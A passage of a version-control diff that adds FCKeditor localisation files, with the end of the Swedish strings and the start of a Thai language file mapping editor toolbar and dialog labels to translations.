+PasteText			: "Klistra in som text",
+PasteWord			: "Klistra in från Word",
+Print				: "Skriv ut",
+SelectAll			: "Markera allt",
+RemoveFormat		: "Radera formatering",
+InsertLinkLbl		: "Länk",
+InsertLink			: "Infoga/Redigera länk",
+RemoveLink			: "Radera länk",
+Anchor				: "Infoga/Redigera ankarlänk",
+InsertImageLbl		: "Bild",
+InsertImage			: "Infoga/Redigera bild",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Infoga/Redigera Flash",
+InsertTableLbl		: "Tabell",
+InsertTable			: "Infoga/Redigera tabell",
+InsertLineLbl		: "Linje",
+InsertLine			: "Infoga horisontal linje",
+InsertSpecialCharLbl: "Utökade tecken",
+InsertSpecialChar	: "Klistra in utökat tecken",
+InsertSmileyLbl		: "Smiley",
+InsertSmiley		: "Infoga Smiley",
+About				: "Om FCKeditor",
+Bold				: "Fet",
+Italic				: "Kursiv",
+Underline			: "Understruken",
+StrikeThrough		: "Genomstruken",
+Subscript			: "Nedsänkta tecken",
+Superscript			: "Upphöjda tecken",
+LeftJustify			: "Vänsterjustera",
+CenterJustify		: "Centrera",
+RightJustify		: "Högerjustera",
+BlockJustify		: "Justera till marginaler",
+DecreaseIndent		: "Minska indrag",
+IncreaseIndent		: "Öka indrag",
+Undo				: "Ångra",
+Redo				: "Gör om",
+NumberedListLbl		: "Numrerad lista",
+NumberedList		: "Infoga/Radera numrerad lista",
+BulletedListLbl		: "Punktlista",
+BulletedList		: "Infoga/Radera punktlista",
+ShowTableBorders	: "Visa tabellkant",
+ShowDetails			: "Visa radbrytningar",
+Style				: "Anpassad stil",
+FontFormat			: "Teckenformat",
+Font				: "Typsnitt",
+FontSize			: "Storlek",
+TextColor			: "Textfärg",
+BGColor				: "Bakgrundsfärg",
+Source				: "Källa",
+Find				: "Sök",
+Replace				: "Ersätt",
+SpellCheck			: "Stavningskontroll",
+UniversalKeyboard	: "Universellt tangentbord",
+PageBreakLbl		: "Sidbrytning",
+PageBreak			: "Infoga sidbrytning",
+
+Form			: "Formulär",
+Checkbox		: "Kryssruta",
+RadioButton		: "Alternativknapp",
+TextField		: "Textfält",
+Textarea		: "Textruta",
+HiddenField		: "Dolt fält",
+Button			: "Knapp",
+SelectionField	: "Flervalslista",
+ImageButton		: "Bildknapp",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Redigera länk",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Infoga rad",
+DeleteRows			: "Radera rad",
+InsertColumn		: "Infoga kolumn",
+DeleteColumns		: "Radera kolumn",
+InsertCell			: "Infoga cell",
+DeleteCells			: "Radera celler",
+MergeCells			: "Sammanfoga celler",
+SplitCell			: "Separera celler",
+TableDelete			: "Radera tabell",
+CellProperties		: "Cellegenskaper",
+TableProperties		: "Tabellegenskaper",
+ImageProperties		: "Bildegenskaper",
+FlashProperties		: "Flashegenskaper",
+
+AnchorProp			: "Egenskaper för ankarlänk",
+ButtonProp			: "Egenskaper för knapp",
+CheckboxProp		: "Egenskaper för kryssruta",
+HiddenFieldProp		: "Egenskaper för dolt fält",
+RadioButtonProp		: "Egenskaper för alternativknapp",
+ImageButtonProp		: "Egenskaper för bildknapp",
+TextFieldProp		: "Egenskaper för textfält",
+SelectionFieldProp	: "Egenskaper för flervalslista",
+TextareaProp		: "Egenskaper för textruta",
+FormProp			: "Egenskaper för formulär",
+
+FontFormats			: "Normal;Formaterad;Adress;Rubrik 1;Rubrik 2;Rubrik 3;Rubrik 4;Rubrik 5;Rubrik 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Bearbetar XHTML. Var god vänta...",
+Done				: "Klar",
+PasteWordConfirm	: "Texten du vill klistra in verkar vara kopierad från Word. Vill du rensa innan du klistar in?",
+NotCompatiblePaste	: "Denna åtgärd är inte tillgängligt för Internet Explorer version 5.5 eller högre. Vill du klistra in utan att rensa?",
+UnknownToolbarItem	: "Okänt verktygsfält \"%1\"",
+UnknownCommand		: "Okänt kommando \"%1\"",
+NotImplemented		: "Kommandot finns ej",
+UnknownToolbarSet	: "Verktygsfält \"%1\" finns ej",
+NoActiveX			: "Din webläsares säkerhetsinställningar kan begränsa funktionaliteten. Du bör aktivera \"Kör ActiveX kontroller och plug-ins\". Fel och avsaknad av funktioner kan annars uppstå.",
+BrowseServerBlocked : "Kunde Ej öppna resursfönstret. Var god och avaktivera alla popup-blockerare.",
+DialogBlocked		: "Kunde Ej öppna dialogfönstret. Var god och avaktivera alla popup-blockerare.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Avbryt",
+DlgBtnClose			: "Stäng",
+DlgBtnBrowseServer	: "Bläddra på server",
+DlgAdvancedTag		: "Avancerad",
+DlgOpOther			: "Övrigt",
+DlgInfoTab			: "Information",
+DlgAlertUrl			: "Var god och ange en URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<ej angivet>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Språkriktning",
+DlgGenLangDirLtr	: "Vänster till Höger (VTH)",
+DlgGenLangDirRtl	: "Höger till Vänster (HTV)",
+DlgGenLangCode		: "Språkkod",
+DlgGenAccessKey		: "Behörighetsnyckel",
+DlgGenName			: "Namn",
+DlgGenTabIndex		: "Tabindex",
+DlgGenLongDescr		: "URL-beskrivning",
+DlgGenClass			: "Stylesheet class",
+DlgGenTitle			: "Titel",
+DlgGenContType		: "Innehållstyp",
+DlgGenLinkCharset	: "Teckenuppställning",
+DlgGenStyle			: "Style",
+
+// Image Dialog
+DlgImgTitle			: "Bildegenskaper",
+DlgImgInfoTab		: "Bildinformation",
+DlgImgBtnUpload		: "Skicka till server",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Ladda upp",
+DlgImgAlt			: "Alternativ text",
+DlgImgWidth			: "Bredd",
+DlgImgHeight		: "Höjd",
+DlgImgLockRatio		: "Lås höjd/bredd förhållanden",
+DlgBtnResetSize		: "Återställ storlek",
+DlgImgBorder		: "Kant",
+DlgImgHSpace		: "Horis. marginal",
+DlgImgVSpace		: "Vert. marginal",
+DlgImgAlign			: "Justering",
+DlgImgAlignLeft		: "Vänster",
+DlgImgAlignAbsBottom: "Absolut nederkant",
+DlgImgAlignAbsMiddle: "Absolut centrering",
+DlgImgAlignBaseline	: "Baslinje",
+DlgImgAlignBottom	: "Nederkant",
+DlgImgAlignMiddle	: "Mitten",
+DlgImgAlignRight	: "Höger",
+DlgImgAlignTextTop	: "Text överkant",
+DlgImgAlignTop		: "Överkant",
+DlgImgPreview		: "Förhandsgranska",
+DlgImgAlertUrl		: "Var god och ange bildens URL",
+DlgImgLinkTab		: "Länk",
+
+// Flash Dialog
+DlgFlashTitle		: "Flashegenskaper",
+DlgFlashChkPlay		: "Automatisk uppspelning",
+DlgFlashChkLoop		: "Upprepa/Loopa",
+DlgFlashChkMenu		: "Aktivera Flashmeny",
+DlgFlashScale		: "Skala",
+DlgFlashScaleAll	: "Visa allt",
+DlgFlashScaleNoBorder	: "Ingen ram",
+DlgFlashScaleFit	: "Exakt passning",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Länk",
+DlgLnkInfoTab		: "Länkinformation",
+DlgLnkTargetTab		: "Mål",
+
+DlgLnkType			: "Länktyp",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Ankare i sidan",
+DlgLnkTypeEMail		: "E-post",
+DlgLnkProto			: "Protokoll",
+DlgLnkProtoOther	: "<övrigt>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Välj ett ankare",
+DlgLnkAnchorByName	: "efter ankarnamn",
+DlgLnkAnchorById	: "efter objektid",
+DlgLnkNoAnchors		: "<Inga ankare kunde hittas>",
+DlgLnkEMail			: "E-postadress",
+DlgLnkEMailSubject	: "Ämne",
+DlgLnkEMailBody		: "Innehåll",
+DlgLnkUpload		: "Ladda upp",
+DlgLnkBtnUpload		: "Skicka till servern",
+
+DlgLnkTarget		: "Mål",
+DlgLnkTargetFrame	: "<ram>",
+DlgLnkTargetPopup	: "<popup-fönster>",
+DlgLnkTargetBlank	: "Nytt fönster (_blank)",
+DlgLnkTargetParent	: "Föregående Window (_parent)",
+DlgLnkTargetSelf	: "Detta fönstret (_self)",
+DlgLnkTargetTop		: "Översta fönstret (_top)",
+DlgLnkTargetFrameName	: "Målets ramnamn",
+DlgLnkPopWinName	: "Popup-fönstrets namn",
+DlgLnkPopWinFeat	: "Popup-fönstrets egenskaper",
+DlgLnkPopResize		: "Kan ändra storlek",
+DlgLnkPopLocation	: "Adressfält",
+DlgLnkPopMenu		: "Menyfält",
+DlgLnkPopScroll		: "Scrolllista",
+DlgLnkPopStatus		: "Statusfält",
+DlgLnkPopToolbar	: "Verktygsfält",
+DlgLnkPopFullScrn	: "Helskärm (endast IE)",
+DlgLnkPopDependent	: "Beroende (endest Netscape)",
+DlgLnkPopWidth		: "Bredd",
+DlgLnkPopHeight		: "Höjd",
+DlgLnkPopLeft		: "Position från vänster",
+DlgLnkPopTop		: "Position från sidans topp",
+
+DlnLnkMsgNoUrl		: "Var god ange länkens URL",
+DlnLnkMsgNoEMail	: "Var god ange E-postadress",
+DlnLnkMsgNoAnchor	: "Var god ange ett ankare",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Välj färg",
+DlgColorBtnClear	: "Rensa",
+DlgColorHighlight	: "Markera",
+DlgColorSelected	: "Vald",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Infoga smiley",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Välj utökat tecken",
+
+// Table Dialog
+DlgTableTitle		: "Tabellegenskaper",
+DlgTableRows		: "Rader",
+DlgTableColumns		: "Kolumner",
+DlgTableBorder		: "Kantstorlek",
+DlgTableAlign		: "Justering",
+DlgTableAlignNotSet	: "<ej angivet>",
+DlgTableAlignLeft	: "Vänster",
+DlgTableAlignCenter	: "Centrerad",
+DlgTableAlignRight	: "Höger",
+DlgTableWidth		: "Bredd",
+DlgTableWidthPx		: "pixlar",
+DlgTableWidthPc		: "procent",
+DlgTableHeight		: "Höjd",
+DlgTableCellSpace	: "Cellavstånd",
+DlgTableCellPad		: "Cellutfyllnad",
+DlgTableCaption		: "Rubrik",
+DlgTableSummary		: "Sammanfattning",
+
+// Table Cell Dialog
+DlgCellTitle		: "Cellegenskaper",
+DlgCellWidth		: "Bredd",
+DlgCellWidthPx		: "pixlar",
+DlgCellWidthPc		: "procent",
+DlgCellHeight		: "Höjd",
+DlgCellWordWrap		: "Automatisk radbrytning",
+DlgCellWordWrapNotSet	: "<Ej angivet>",
+DlgCellWordWrapYes	: "Ja",
+DlgCellWordWrapNo	: "Nej",
+DlgCellHorAlign		: "Horisontal justering",
+DlgCellHorAlignNotSet	: "<Ej angivet>",
+DlgCellHorAlignLeft	: "Vänster",
+DlgCellHorAlignCenter	: "Centrerad",
+DlgCellHorAlignRight: "Höger",
+DlgCellVerAlign		: "Vertikal justering",
+DlgCellVerAlignNotSet	: "<Ej angivet>",
+DlgCellVerAlignTop	: "Topp",
+DlgCellVerAlignMiddle	: "Mitten",
+DlgCellVerAlignBottom	: "Nederkant",
+DlgCellVerAlignBaseline	: "Underst",
+DlgCellRowSpan		: "Radomfång",
+DlgCellCollSpan		: "Kolumnomfång",
+DlgCellBackColor	: "Bakgrundsfärg",
+DlgCellBorderColor	: "Kantfärg",
+DlgCellBtnSelect	: "Välj...",
+
+// Find Dialog
+DlgFindTitle		: "Sök",
+DlgFindFindBtn		: "Sök",
+DlgFindNotFoundMsg	: "Angiven text kunde ej hittas.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Ersätt",
+DlgReplaceFindLbl		: "Sök efter:",
+DlgReplaceReplaceLbl	: "Ersätt med:",
+DlgReplaceCaseChk		: "Skiftläge",
+DlgReplaceReplaceBtn	: "Ersätt",
+DlgReplaceReplAllBtn	: "Ersätt alla",
+DlgReplaceWordChk		: "Inkludera hela ord",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Säkerhetsinställningar i Er webläsare tillåter inte åtgården Klistra in. Använd (Ctrl+V) istället.",
+PasteErrorCut	: "Säkerhetsinställningar i Er webläsare tillåter inte åtgården Klipp ut. Använd (Ctrl+X) istället.",
+PasteErrorCopy	: "Säkerhetsinställningar i Er webläsare tillåter inte åtgården Kopiera. Använd (Ctrl+C) istället",
+
+PasteAsText		: "Klistra in som vanlig text",
+PasteFromWord	: "Klistra in från Word",
+
+DlgPasteMsg2	: "Var god och klistra in Er text i rutan nedan genom att använda (<STRONG>Ctrl+V</STRONG>) klicka sen på <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignorera typsnittsdefinitioner",
+DlgPasteRemoveStyles	: "Radera Stildefinitioner",
+DlgPasteCleanBox		: "Töm rutans innehåll",
+
+// Color Picker
+ColorAutomatic	: "Automatisk",
+ColorMoreColors	: "Fler färger...",
+
+// Document Properties
+DocProps		: "Dokumentegenskaper",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Ankaregenskaper",
+DlgAnchorName		: "Ankarnamn",
+DlgAnchorErrorName	: "Var god ange ett ankarnamn",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Saknas i ordlistan",
+DlgSpellChangeTo		: "Ändra till",
+DlgSpellBtnIgnore		: "Ignorera",
+DlgSpellBtnIgnoreAll	: "Ignorera alla",
+DlgSpellBtnReplace		: "Ersätt",
+DlgSpellBtnReplaceAll	: "Ersätt alla",
+DlgSpellBtnUndo			: "Ångra",
+DlgSpellNoSuggestions	: "- Förslag saknas -",
+DlgSpellProgress		: "Stavningskontroll pågår...",
+DlgSpellNoMispell		: "Stavningskontroll slutförd: Inga stavfel påträffades.",
+DlgSpellNoChanges		: "Stavningskontroll slutförd: Inga ord rättades.",
+DlgSpellOneChange		: "Stavningskontroll slutförd: Ett ord rättades.",
+DlgSpellManyChanges		: "Stavningskontroll slutförd: %1 ord rättades.",
+
+IeSpellDownload			: "Stavningskontrollen är ej installerad. Vill du göra det nu?",
+
+// Button Dialog
+DlgButtonText		: "Text (Värde)",
+DlgButtonType		: "Typ",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Namn",
+DlgCheckboxValue	: "Värde",
+DlgCheckboxSelected	: "Vald",
+
+// Form Dialog
+DlgFormName		: "Namn",
+DlgFormAction	: "Funktion",
+DlgFormMethod	: "Metod",
+
+// Select Field Dialog
+DlgSelectName		: "Namn",
+DlgSelectValue		: "Värde",
+DlgSelectSize		: "Storlek",
+DlgSelectLines		: "Linjer",
+DlgSelectChkMulti	: "Tillåt flerval",
+DlgSelectOpAvail	: "Befintliga val",
+DlgSelectOpText		: "Text",
+DlgSelectOpValue	: "Värde",
+DlgSelectBtnAdd		: "Lägg till",
+DlgSelectBtnModify	: "Redigera",
+DlgSelectBtnUp		: "Upp",
+DlgSelectBtnDown	: "Ner",
+DlgSelectBtnSetValue : "Markera som valt värde",
+DlgSelectBtnDelete	: "Radera",
+
+// Textarea Dialog
+DlgTextareaName	: "Namn",
+DlgTextareaCols	: "Kolumner",
+DlgTextareaRows	: "Rader",
+
+// Text Field Dialog
+DlgTextName			: "Namn",
+DlgTextValue		: "Värde",
+DlgTextCharWidth	: "Teckenbredd",
+DlgTextMaxChars		: "Max antal tecken",
+DlgTextType			: "Typ",
+DlgTextTypeText		: "Text",
+DlgTextTypePass		: "Lösenord",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Namn",
+DlgHiddenValue	: "Värde",
+
+// Bulleted List Dialog
+BulletedListProp	: "Egenskaper för punktlista",
+NumberedListProp	: "Egenskaper för numrerad lista",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Typ",
+DlgLstTypeCircle	: "Cirkel",
+DlgLstTypeDisc		: "Punkt",
+DlgLstTypeSquare	: "Ruta",
+DlgLstTypeNumbers	: "Nummer (1, 2, 3)",
+DlgLstTypeLCase		: "Gemener (a, b, c)",
+DlgLstTypeUCase		: "Versaler (A, B, C)",
+DlgLstTypeSRoman	: "Små romerska siffror (i, ii, iii)",
+DlgLstTypeLRoman	: "Stora romerska siffror (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Allmän",
+DlgDocBackTab		: "Bakgrund",
+DlgDocColorsTab		: "Färg och marginal",
+DlgDocMetaTab		: "Metadata",
+
+DlgDocPageTitle		: "Sidtitel",
+DlgDocLangDir		: "Språkriktning",
+DlgDocLangDirLTR	: "Vänster till Höger",
+DlgDocLangDirRTL	: "Höger till Vänster",
+DlgDocLangCode		: "Språkkod",
+DlgDocCharSet		: "Teckenuppsättningar",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Övriga teckenuppsättningar",
+
+DlgDocDocType		: "Sidhuvud",
+DlgDocDocTypeOther	: "Övriga sidhuvuden",
+DlgDocIncXHTML		: "Inkludera XHTML deklaration",
+DlgDocBgColor		: "Bakgrundsfärg",
+DlgDocBgImage		: "Bakgrundsbildens URL",
+DlgDocBgNoScroll	: "Fast bakgrund",
+DlgDocCText			: "Text",
+DlgDocCLink			: "Länk",
+DlgDocCVisited		: "Besökt länk",
+DlgDocCActive		: "Aktiv länk",
+DlgDocMargins		: "Sidmarginal",
+DlgDocMaTop			: "Topp",
+DlgDocMaLeft		: "Vänster",
+DlgDocMaRight		: "Höger",
+DlgDocMaBottom		: "Botten",
+DlgDocMeIndex		: "Sidans nyckelord",
+DlgDocMeDescr		: "Sidans beskrivning",
+DlgDocMeAuthor		: "Författare",
+DlgDocMeCopy		: "Upphovsrätt",
+DlgDocPreview		: "Förhandsgranska",
+
+// Templates Dialog
+Templates			: "Sidmallar",
+DlgTemplatesTitle	: "Sidmallar",
+DlgTemplatesSelMsg	: "Var god välj en mall att använda med editorn<br>(allt nuvarande innehåll raderas):",
+DlgTemplatesLoading	: "Laddar mallar. Var god vänta...",
+DlgTemplatesNoTpl	: "(Ingen mall är vald)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Om",
+DlgAboutBrowserInfoTab	: "Webläsare",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "version",
+DlgAboutLicense		: "Licensierad under villkoren av GNU Lesser General Public License",
+DlgAboutInfo		: "För mer information se"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/th.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/th.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/th.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: th.js
+ * 	Thai language file.
+ * 
+ * File Authors:
+ * 		Audy Charin Arsakit (arsakit@gmail.com)
+ * 		Joy Piyanoot Promnuan (piyanoot@gmail.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "ซ่อนแถบเครื่องมือ",
+ToolbarExpand		: "แสดงแถบเครื่องมือ",
+
+// Toolbar Items and Context Menu
+Save				: "บันทึก",
+NewPage				: "สร้างหน้าเอกสารใหม่",
+Preview				: "ดูหน้าเอกสารตัวอย่าง",
+Cut					: "ตัด",
+Copy				: "สำเนา",
+Paste				: "วาง",
+PasteText			: "วางสำเนาจากตัวอักษรธรรมดา",
+PasteWord			: "วางสำเนาจากตัวอักษรเวิร์ด",
+Print				: "สั่งพิมพ์",
+SelectAll			: "เลือกทั้งหมด",
+RemoveFormat		: "ล้างรูปแบบ",
+InsertLinkLbl		: "ลิงค์เชื่อมโยงเว็บ อีเมล์ รูปภาพ หรือไฟล์อื่นๆ",
+InsertLink			: "แทรก/แก้ไข ลิงค์",
+RemoveLink			: "ลบ ลิงค์",
+Anchor				: "แทรก/แก้ไข Anchor",
+InsertImageLbl		: "รูปภาพ",
+InsertImage			: "แทรก/แก้ไข รูปภาพ",
+InsertFlashLbl		: "Flash",	//MISSING
+InsertFlash			: "Insert/Edit Flash",	//MISSING
+InsertTableLbl		: "ตาราง",
+InsertTable			: "แทรก/แก้ไข ตาราง",
+InsertLineLbl		: "เส้นคั่นบรรทัด",
+InsertLine			: "แทรกเส้นคั่นบรรทัด",
+InsertSpecialCharLbl: "ตัวอักษรพิเศษ",
+InsertSpecialChar	: "แทรกตัวอักษรพิเศษ",
+InsertSmileyLbl		: "รูปสื่ออารมณ์",
+InsertSmiley		: "แทรกรูปสื่ออารมณ์",
+About				: "เกี่ยวกับโปรแกรม FCKeditor",
+Bold				: "ตัวหนา",
+Italic				: "ตัวเอียง",
+Underline			: "ตัวขีดเส้นใต้",
+StrikeThrough		: "ตัวขีดเส้นทับ",
+Subscript			: "ตัวห้อย",
+Superscript			: "ตัวยก",
+LeftJustify			: "จัดชิดซ้าย",
+CenterJustify		: "จัดกึ่งกลาง",
+RightJustify		: "จัดชิดขวา",
+BlockJustify		: "จัดพอดีหน้ากระดาษ",
+DecreaseIndent		: "ลดระยะย่อหน้า",
+IncreaseIndent		: "เพิ่มระยะย่อหน้า",
+Undo				: "ยกเลิกคำสั่ง",
+Redo				: "ทำซ้ำคำสั่ง",
+NumberedListLbl		: "ลำดับรายการแบบตัวเลข",
+NumberedList		: "แทรก/แก้ไข ลำดับรายการแบบตัวเลข",
+BulletedListLbl		: "ลำดับรายการแบบสัญลักษณ์",
+BulletedList		: "แทรก/แก้ไข ลำดับรายการแบบสัญลักษณ์",
+ShowTableBorders	: "แสดงขอบของตาราง",
+ShowDetails			: "แสดงรายละเอียด",
+Style				: "ลักษณะ",
+FontFormat			: "รูปแบบ",
+Font				: "แบบอักษร",
+FontSize			: "ขนาด",
+TextColor			: "สีตัวอักษร",
+BGColor				: "สีพื้นหลัง",
+Source				: "ดูรหัส HTML",
+Find				: "ค้นหา",
+Replace				: "ค้นหาและแทนที่",
+SpellCheck			: "ตรวจการสะกดคำ",
+UniversalKeyboard	: "คีย์บอร์ดหลากภาษา",
+PageBreakLbl		: "Page Break",	//MISSING
+PageBreak			: "Insert Page Break",	//MISSING
+
+Form			: "แบบฟอร์ม",
+Checkbox		: "เช็คบ๊อก",
+RadioButton		: "เรดิโอบัตตอน",
+TextField		: "เท็กซ์ฟิลด์",
+Textarea		: "เท็กซ์แอเรีย",
+HiddenField		: "ฮิดเดนฟิลด์",
+Button			: "ปุ่ม",
+SelectionField	: "แถบตัวเลือก",
+ImageButton		: "ปุ่มแบบรูปภาพ",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "แก้ไข ลิงค์",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "แทรกแถว",
+DeleteRows			: "ลบแถว",
+InsertColumn		: "แทรกสดมน์",
+DeleteColumns		: "ลบสดมน์",
+InsertCell			: "แทรกช่อง",
+DeleteCells			: "ลบช่อง",
+MergeCells			: "ผสานช่อง",
+SplitCell			: "แยกช่อง",
+TableDelete			: "Delete Table",	//MISSING
+CellProperties		: "คุณสมบัติของช่อง",
+TableProperties		: "คุณสมบัติของตาราง",
+ImageProperties		: "คุณสมบัติของรูปภาพ",
+FlashProperties		: "Flash Properties",	//MISSING
+
+AnchorProp			: "รายละเอียด Anchor",
+ButtonProp			: "รายละเอียดของ ปุ่ม",
+CheckboxProp		: "คุณสมบัติของ เช็คบ๊อก",
+HiddenFieldProp		: "คุณสมบัติของ ฮิดเดนฟิลด์",
+RadioButtonProp		: "คุณสมบัติของ เรดิโอบัตตอน",
+ImageButtonProp		: "คุณสมบัติของ ปุ่มแบบรูปภาพ",
+TextFieldProp		: "คุณสมบัติของ เท็กซ์ฟิลด์",
+SelectionFieldProp	: "คุณสมบัติของ แถบตัวเลือก",
+TextareaProp		: "คุณสมบัติของ เท็กแอเรีย",
+FormProp			: "คุณสมบัติของ แบบฟอร์ม",
+
+FontFormats			: "Normal;Formatted;Address;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6;Paragraph (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "โปรแกรมกำลังทำงานด้วยเทคโนโลยี XHTML กรุณารอสักครู่...",
+Done				: "โปรแกรมทำงานเสร็จสมบูรณ์",
+PasteWordConfirm	: "ข้อมูลที่ท่านต้องการวางลงในแผ่นงาน ถูกจัดรูปแบบจากโปรแกรมเวิร์ด. ท่านต้องการล้างรูปแบบที่มาจากโปรแกรมเวิร์ดหรือไม่?",
+NotCompatiblePaste	: "คำสั่งนี้ทำงานในโปรแกรมท่องเว็บ Internet Explorer version รุ่น 5.5 หรือใหม่กว่าเท่านั้น. ท่านต้องการวางตัวอักษรโดยไม่ล้างรูปแบบที่มาจากโปรแกรมเวิร์ดหรือไม่?",
+UnknownToolbarItem	: "ไม่สามารถระบุปุ่มเครื่องมือได้ \"%1\"",
+UnknownCommand		: "ไม่สามารถระบุชื่อคำสั่งได้ \"%1\"",
+NotImplemented		: "ไม่สามารถใช้งานคำสั่งได้",
+UnknownToolbarSet	: "ไม่มีการติดตั้งชุดคำสั่งในแถบเครื่องมือ \"%1\" กรุณาติดต่อผู้ดูแลระบบ",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",	//MISSING
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",	//MISSING
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",	//MISSING
+
+// Dialogs
+DlgBtnOK			: "ตกลง",
+DlgBtnCancel		: "ยกเลิก",
+DlgBtnClose			: "ปิด",
+DlgBtnBrowseServer	: "เปิดหน้าต่างจัดการไฟล์อัพโหลด",
+DlgAdvancedTag		: "ขั้นสูง",
+DlgOpOther			: "<อื่นๆ>",
+DlgInfoTab			: "Info",	//MISSING
+DlgAlertUrl			: "Please insert the URL",	//MISSING
+
+// General Dialogs Labels
+DlgGenNotSet		: "<ไม่ระบุ>",
+DlgGenId			: "ไอดี",
+DlgGenLangDir		: "การเขียน-อ่านภาษา",
+DlgGenLangDirLtr	: "จากซ้ายไปขวา (LTR)",
+DlgGenLangDirRtl	: "จากขวามาซ้าย (RTL)",
+DlgGenLangCode		: "รหัสภาษา",
+DlgGenAccessKey		: "แอคเซส คีย์",
+DlgGenName			: "ชื่อ",
+DlgGenTabIndex		: "ลำดับของ แท็บ",
+DlgGenLongDescr		: "คำอธิบายประกอบ URL",
+DlgGenClass			: "คลาสของไฟล์กำหนดลักษณะการแสดงผล",
+DlgGenTitle			: "คำเกริ่นนำ",
+DlgGenContType		: "ชนิดของคำเกริ่นนำ",
+DlgGenLinkCharset	: "ลิงค์เชื่อมโยงไปยังชุดตัวอักษร",
+DlgGenStyle			: "ลักษณะการแสดงผล",
+
+// Image Dialog
+DlgImgTitle			: "คุณสมบัติของ รูปภาพ",
+DlgImgInfoTab		: "ข้อมูลของรูปภาพ",
+DlgImgBtnUpload		: "อัพโหลดไฟล์ไปเก็บไว้ที่เครื่องแม่ข่าย (เซิร์ฟเวอร์)",
+DlgImgURL			: "ที่อยู่อ้างอิง URL",
+DlgImgUpload		: "อัพโหลดไฟล์",
+DlgImgAlt			: "คำประกอบรูปภาพ",
+DlgImgWidth			: "ความกว้าง",
+DlgImgHeight		: "ความสูง",
+DlgImgLockRatio		: "กำหนดอัตราส่วน กว้าง-สูง แบบคงที่",
+DlgBtnResetSize		: "กำหนดรูปเท่าขนาดจริง",
+DlgImgBorder		: "ขนาดขอบรูป",
+DlgImgHSpace		: "ระยะแนวนอน",
+DlgImgVSpace		: "ระยะแนวตั้ง",
+DlgImgAlign			: "การจัดวาง",
+DlgImgAlignLeft		: "ชิดซ้าย",
+DlgImgAlignAbsBottom: "ชิดด้านล่างสุด",
+DlgImgAlignAbsMiddle: "กึ่งกลาง",
+DlgImgAlignBaseline	: "ชิดบรรทัด",
+DlgImgAlignBottom	: "ชิดด้านล่าง",
+DlgImgAlignMiddle	: "กึ่งกลางแนวตั้ง",
+DlgImgAlignRight	: "ชิดขวา",
+DlgImgAlignTextTop	: "ใต้ตัวอักษร",
+DlgImgAlignTop		: "บนสุด",
+DlgImgPreview		: "หน้าเอกสารตัวอย่าง",
+DlgImgAlertUrl		: "กรุณาระบุที่อยู่อ้างอิงออนไลน์ของไฟล์รูปภาพ (URL)",
+DlgImgLinkTab		: "Link",	//MISSING
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Properties",	//MISSING
+DlgFlashChkPlay		: "Auto Play",	//MISSING
+DlgFlashChkLoop		: "Loop",	//MISSING
